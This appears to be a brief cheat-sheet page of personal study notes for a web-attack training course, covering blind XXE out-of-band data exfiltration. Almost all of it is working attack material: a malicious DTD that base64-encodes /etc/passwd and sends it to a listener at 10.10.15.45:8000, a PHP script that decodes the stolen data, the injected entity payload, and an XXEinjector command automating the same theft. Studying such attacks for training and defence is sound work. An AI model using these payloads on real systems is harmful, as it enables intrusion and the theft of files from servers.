> For the complete documentation index, see [llms.txt](https://kyou00.gitbook.io/xyz/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://kyou00.gitbook.io/xyz/academy-htb/view/bug-bounty-hunter/web-attacks/blind-data-exfiltration.md).
# Blind Data Exfiltration
subl xxe.dtd
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % oob "<!ENTITY content SYSTEM 'http://10.10.15.45:8000/?content=%file;'>">
# To decode the base64 encoded /etc/passwd
<?php
if(isset($_GET['content'])){
error_log("\n\n" . base64_decode($_GET['content']));
}
?>
```
%remote;
%oob;
]>
&content;
```
```
/blind
```
Option 2
First we need to save the request to blind.req
Then just edit the XML content and make sure to put the XXEINJECT
{% code overflow="wrap" %}
```
ruby XXEinjector.rb --host=10.10.15.45 --httpport=8000 --file=../blind.req --path=/etc/passwd --oob=http --phpfilter
```
{% endcode %}
